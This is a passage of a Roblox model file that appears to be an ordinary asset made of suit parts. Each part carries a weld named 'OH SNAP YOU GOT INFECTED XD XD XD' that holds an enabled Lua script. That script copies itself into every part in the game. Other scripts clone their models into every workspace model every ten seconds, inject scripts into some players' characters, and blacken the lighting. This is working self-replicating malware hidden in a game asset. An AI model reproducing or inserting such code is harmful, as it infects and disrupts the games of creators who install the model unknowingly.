					</Item>
					<Item class="Weld" referent="RBX418">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX419">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX420">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX421">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX422">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX423">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>3.6000185</Y>
							<Z>18.1999969</Z>
							<R00>-1.10828431e-008</R00>
							<R01>-1.00586028e-007</R01>
							<R02>-0.999999642</R02>
							<R10>-0.999999642</R10>
							<R11>-2.23606662e-008</R11>
							<R12>-1.10828431e-008</R12>
							<R20>2.23606662e-008</R20>
							<R21>1</R21>
							<R22>1.00586028e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Suit</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00667792326</X>
							<Y>-0.0036899962</Y>
							<Z>0.00427536387</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX424">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.300000012</X>
								<Y>1</Y>
								<Z>0.300000012</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX425">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX426">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX427">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX428">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX429">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX430">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>77.6999969</X>
							<Y>4.00001144</Y>
							<Z>17.5</Z>
							<R00>-2.01172014e-007</R00>
							<R01>-0.999999285</R01>
							<R02>-2.21656808e-008</R02>
							<R10>-4.47213253e-008</R10>
							<R11>-2.21656808e-008</R11>
							<R12>-0.999999285</R12>
							<R20>1</R20>
							<R21>2.01172014e-007</R21>
							<R22>4.47213253e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00634543225</X>
							<Y>-0.00442504743</Y>
							<Z>0.00574311381</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX431">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX432">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX433">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX434">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX435">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX436">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX437">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>77.5</X>
							<Y>3.2999897</Y>
							<Z>17.1000061</Z>
							<R00>-1.50879032e-007</R00>
							<R01>1.66242629e-008</R01>
							<R02>-0.999999464</R02>
							<R10>-3.35409958e-008</R10>
							<R11>0.999999464</R11>
							<R12>-1.66242629e-008</R12>
							<R20>1</R20>
							<R21>-3.35409958e-008</R21>
							<R22>1.50879032e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00707282731</X>
							<Y>-0.00475208927</Y>
							<Z>0.00650242576</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX438">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.29999995</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX439">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX440">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX441">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX442">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX443">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX444">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX445">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX446">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX447">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX448">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX449">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Kill tem!</string>
								<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Timer" referent="RBX450">
								<Properties>
									<string name="Name">4ykelq2</string>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX451">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">3sqvohh1z</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX452">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">b5hcmqj5</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX453">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">join teh moovment!</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Timer" referent="RBX454">
								<Properties>
									<string name="Name">8kmc</string>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX455">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">mqfx0</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX456">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">hh8cnl</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Timer" referent="RBX457">
							<Properties>
								<string name="Name">as0k3z4</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX458">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">nzwni2ug</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX459">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">49l64aw</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Timer" referent="RBX460">
						<Properties>
							<string name="Name">8anom1y</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX461">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">p6ny3nbo</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX462">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">b02x</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
